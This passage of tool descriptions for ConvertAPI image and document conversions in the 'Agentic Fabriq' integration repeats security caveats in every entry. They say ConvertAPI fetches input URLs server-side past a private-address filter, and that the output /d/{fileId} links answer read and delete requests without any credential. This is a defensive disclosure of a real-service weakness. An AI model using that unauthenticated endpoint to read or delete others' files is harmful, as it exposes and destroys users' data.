when needed to preserve foreground elements over UI backgrounds, and set color space for predictable rendering across devices. Ideal for preparing favicons and UI assets for distribution or display where lossless compression and alpha transparency are beneficial. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/ico/to/png. Scopes: api. convertapi_post_convert_ico_to_svg (write) — ICO to SVG Conversion API via POST /convert/ico/to/svg. Convert Windows ICO icon files into precise, scalable SVG vectors. Tune color mode and palette size, layering, curve fitting, corner threshold, segment length, speckle filtering, and gradient steps to balance fidelity and file size. Optionally set output width/height for consistent results. Ideal for modernizing legacy icons and UI assets as vector graphics. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/ico/to/svg. Scopes: api. convertapi_post_convert_ico_to_webp (write) — ICO to WebP Conversion API via POST /convert/ico/to/webp. Convert ICO icon files to modern WebP format to reduce file sizes while preserving visual clarity. Use general image controls to set resolution (DPI), choose scaling behavior, and define explicit width/height so results fit your UI or storage constraints. Select lossless or lossy compression and adjust the quality factor to balance clarity and size, and choose an appropriate color space for consistent rendering across platforms. Ideal for web and mobile delivery, batch optimization pipelines, and CDN workflows where small, visually faithful images are required. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/ico/to/webp. Scopes: api. convertapi_post_convert_image_to_moderate (write) — Image Moderation API via POST /convert/image/to/moderate. Automatically analyze images (JPG, PNG, WebP, GIF, BMP, TIFF) for harmful and sensitive content. This API helps you detect policy violations, flag unsafe material, and support compliance workflows with fast and reliable AI-driven classification. Ideal for platforms that need to screen user-generated content before storage, sharing, or publication. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/image/to/moderate. Scopes: api. convertapi_post_convert_images_to_join (write) — Join Images API: Customize Spacing, Color, and Format via POST /convert/images/to/join. The Join Images API enables you to merge multiple images into a single composite image with customizable properties. You can specify the space between images in pixels and choose a space color. The join direction property lets you determine whether the images are combined vertically or horizontally. Additionally, you can set the output format of the merged image to jpg, png, or tiff. The Join Images API is useful for creating cohesive photo collages or visual presentations by seamlessly merging multiple images with customizable gaps and orientation. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/images/to/join. Scopes: api. convertapi_post_convert_images_to_pdf (write) — Images to PDF API: Merge with Orientation & Margins via POST /convert/images/to/pdf. The Images to PDF API is designed to effortlessly transform images into cohesive PDF or PDF/A files or merge multiple images into a single PDF document. Our API handles various image formats seamlessly, including JPG, PNG, WEBP, SVG, PSD, HEIC, HEIF, and TIFF. With the ability to customize page size, orientation, margins, and other properties during the conversion process, you have complete control over the final PDF output. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/images/to/pdf. Scopes: api. convertapi_post_convert_jfif_to_pdf (write) — JFIF to PDF Conversion API via POST /convert/jfif/to/pdf. Convert JFIF images to PDF for convenient sharing, printing, and archival. Control page size and orientation, configure horizontal and vertical margins, and rotate content to match layout expectations. Set color handling and apply an ICC color profile for predictable rendering across devices and workflows. Enable PDF/A compliance when long-term preservation is required. Ideal for digitization pipelines, records management, and distributing raster graphics as portable documents. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/jfif/to/pdf. Scopes: api. convertapi_post_convert_jpg_to_compress (write) — JPG Compression API via POST /convert/jpg/to/compress. Compress JPG images to smaller sizes while preserving visual quality. Choose a compression level, set a percentage reduction, or target a specific output file size to meet web, email, and storage limits. Ideal for optimizing image libraries, speeding up page loads, and saving bandwidth without noticeable artifacts. Upload a .jpg and get an optimized .jpg suitable for fast delivery and efficient archiving. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/jpg/to/compress. Scopes: api. convertapi_post_convert_jpg_to_docx (write) — JPG to DOCX Conversion API via POST /convert/jpg/to/docx. Transform JPEG (JPG, JFIF) images into editable Word (DOCX) documents. Control page size, orientation, and margins to frame each image correctly on the page. Enable OCR to extract text from scanned or rasterized content, selecting the language that best matches your material. Ideal for digitization pipelines, document generation from scanned pages, and automated image-to-document workflows. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/jpg/to/docx. Scopes: api. convertapi_post_convert_jpg_to_gif (write) — JPG to GIF Conversion API via POST /convert/jpg/to/gif. Convert JPG images to GIF, including animated GIF output when multiple frames are provided. Fine-tune playback with frame persistence (keep last frame), per-frame delay, and total animation iterations to meet UX or platform guidelines. Use general image controls to set resolution (DPI), scaling behavior, and explicit width/height for consistent rendering across devices. Adjust color handling to balance palette size and visual fidelity while keeping file size small. Ideal for UI previews, messaging, and web delivery where broad GIF support is required. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/jpg/to/gif. Scopes: api. convertapi_post_convert_jpg_to_jpg (write) — JPG to JPG Conversion API via POST /convert/jpg/to/jpg. Optimize existing JPG, JPEG, and JFIF images by re-encoding them with precise control over output characteristics. Choose the appropriate color space for consistent cross-device rendering, set resolution (DPI), and define scaling behavior with explicit width/height to match UI, delivery, or storage constraints. Adjust JPEG quality to balance visual clarity against minimal file size. Ideal for batch optimization pipelines, CDN workflows, and preparing assets for web and mobile where small, visually faithful JPEG files are required. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/jpg/to/jpg. Scopes: api. convertapi_post_convert_jpg_to_jxl (write) — JPG to JXL Conversion API via POST /convert/jpg/to/jxl. Convert JPEG (JPG) images to modern JPEG XL (JXL) for smaller file sizes at excellent visual quality. Control color space, quality, resolution, scaling behavior, interpolation, and output dimensions to match your delivery needs. Ideal for optimizing photo libraries and web delivery while retaining high fidelity. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/jpg/to/jxl. Scopes: api. convertapi_post_convert_jpg_to_pdf (write) — JPG to PDF Conversion API via POST /convert/jpg/to/pdf. Convert JPEG (JPG, JFIF) images to PDF for convenient sharing, printing, and archival. Control page size and orientation, configure horizontal and vertical margins, and rotate content to match layout expectations. Set color handling and apply an ICC color profile for predictable rendering across devices and workflows. Enable PDF/A compliance when long-term preservation is required. Ideal for digitization pipelines, records management, and distributing raster graphics as portable documents. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/jpg/to/pdf. Scopes: api. convertapi_post_convert_jpg_to_png (write) — JPG to PNG Conversion API via POST /convert/jpg/to/png. Convert JPG images to widely supported PNG format for web, mobile, and application use. Use general image controls to adjust resolution (DPI), choose scaling behavior, and specify explicit width/height to achieve consistent output across varied inputs. Map a specific color to transparency when needed to preserve foreground elements over UI backgrounds, and set color space for predictable rendering across devices. Ideal for preparing photos, screenshots, and graphics for distribution or UI display where lossless compression and alpha transparency are beneficial. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/jpg/to/png. Scopes: api. convertapi_post_convert_jpg_to_pnm (write) — JPG to PNM Conversion API via POST /convert/jpg/to/pnm. Convert JPG images to Portable Any Map (PNM) formats for simple, interoperable raster output (PBM/PGM/PPM). Use general image controls to set resolution (DPI), choose scaling behavior, and define exact width/height for predictable results across varied inputs. Select grayscale or RGB output as appropriate, and map transparent regions to a specified background color when downstream tools lack alpha support. Ideal for processing pipelines, testing, and archival workflows that require lightweight, uncompressed files with consistent characteristics. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/jpg/to/pnm. Scopes: api. convertapi_post_convert_jpg_to_pptx (write) — JPG to PPTX Conversion API via POST /convert/jpg/to/pptx. Transform JPEG (JPG, JFIF) images into editable PowerPoint (PPTX) presentations. Control page size, orientation, and margins to frame each image correctly on the slide. Enable OCR to extract text from scanned or rasterized content, selecting the language that best matches your material. Ideal for digitization pipelines, slide deck generation from scanned documents, and automated image-to-presentation workflows. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/jpg/to/pptx. Scopes: api. convertapi_post_convert_jpg_to_svg (write) — JPG to SVG Conversion API via POST /convert/jpg/to/svg. Convert JPEG (JPG) images into precise, scalable SVG vectors. Tune color mode and palette size, layering strategy, curve fitting, corner threshold, segment length, speckle filtering, and gradient steps to balance visual fidelity and file size. Optionally set output width/height for consistent results. Ideal for logos, icons, diagrams, and vectorizing raster art. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/jpg/to/svg. Scopes: api. convertapi_post_convert_jpg_to_tiff (write) — JPG to TIFF Conversion API via POST /convert/jpg/to/tiff. Convert JPEG (JPG) images to robust TIFF format suitable for long-term archiving, print workflows, and interoperability. Choose single- or multi-page output to consolidate sequences, adjust color space for device consistency, and fine-tune quality for the target use case. Set resolution (DPI), scaling behavior, and explicit width/height to meet layout or storage constraints. Ideal for records retention, pre-press pipelines, and systems that require lossless or high-fidelity raster output with predictable characteristics. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/jpg/to/tiff. Scopes: api. convertapi_post_convert_jpg_to_txt (write) — JPG to Text Conversion API via POST /convert/jpg/to/txt. Convert JPG images to machine-readable text using accurate OCR tuned for documents, photos, and UI screenshots. Improve recognition on challenging inputs with optional preprocessing to enhance contrast and reduce noise. Select OCR languages to boost accuracy for multilingual content and deliver copy-ready text for search, analytics, and automation. Ideal for digitizing archives, processing inbound content, and integrating image text extraction into back-office workflows. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/jpg/to/txt. Scopes: api. convertapi_post_convert_jpg_to_webp (write) — JPG to WebP Conversion API via POST /convert/jpg/to/webp. Convert JPEG (JPG) images to modern WebP to reduce file sizes while preserving visual fidelity. Set resolution (DPI), choose scaling behavior, and define explicit width/height so outputs fit your UI or storage constraints. Select lossless or lossy compression and adjust the quality factor to balance clarity and size, and choose an appropriate color space for consistent rendering across platforms. Ideal for web and mobile delivery, batch optimization pipelines, and CDN workflows where small, visually faithful images are desired. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/jpg/to/webp. Scopes: api. convertapi_post_convert_key_to_pptx (write) — Keynote to PowerPoint API via POST /convert/key/to/pptx. Convert Apple iWork Keynote (.key) presentations to Microsoft Office PowerPoint (.pptx) format. The conversion preserves slide structure, text content, images, and layouts, ensuring seamless compatibility for users on Windows or using Microsoft Office. Ideal for cross-platform collaboration and content migration. No Mac required. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/key/to/pptx. Scopes: api. convertapi_post_convert_log_to_docx (write) — LOG to DOCX Conversion API via POST /convert/log/to/docx. Convert plain text LOG files into editable Microsoft Word (DOCX) documents. Keeps original line breaks and detected text encoding for faithful viewing and review. Ideal for auditing, reporting, annotating incidents, or sharing log excerpts with non-technical stakeholders. Upload a .log file and receive a .docx you can edit, format, or export further. No Microsoft Office required. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/log/to/docx. Scopes: api. convertapi_post_convert_log_to_pdf (write) — LOG to PDF Conversion API via POST /convert/log/to/pdf. Convert plain text LOG files into professional PDF documents for archival, sharing, and reporting. Select specific page ranges, preserve structure with bookmarks and headings where applicable, and optionally enable PDF/A compliance for long-term preservation. Ideal for creating distributable log reports, audit trails, and system documentation. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/log/to/pdf. Scopes: api. convertapi_post_convert_log_to_txt (write) — LOG to TXT Conversion API via POST /convert/log/to/txt. Process and normalize plain text LOG files to UTF-8 TXT. Supports optional line break normalization, custom end-of-line characters, save formats, and character substitutions for consistent downstream processing. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/log/to/txt. Scopes: api. convertapi_post_convert_md_to_html (write) — MD to HTML API via POST /convert/md/to/html. The API for converting Markdown document to Html. Some key features of the MD to HTML Conversion API include preserving Markdown syntax, supporting custom styles for a consistent look and feel, and generating responsive HTML that adapts to various screen sizes. Additionally, it offers options like code block formatting for programming languages and image embedding to seamlessly include visuals within the HTML output. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/md/to/html. Scopes: api. convertapi_post_convert_md_to_pdf (write) — MD 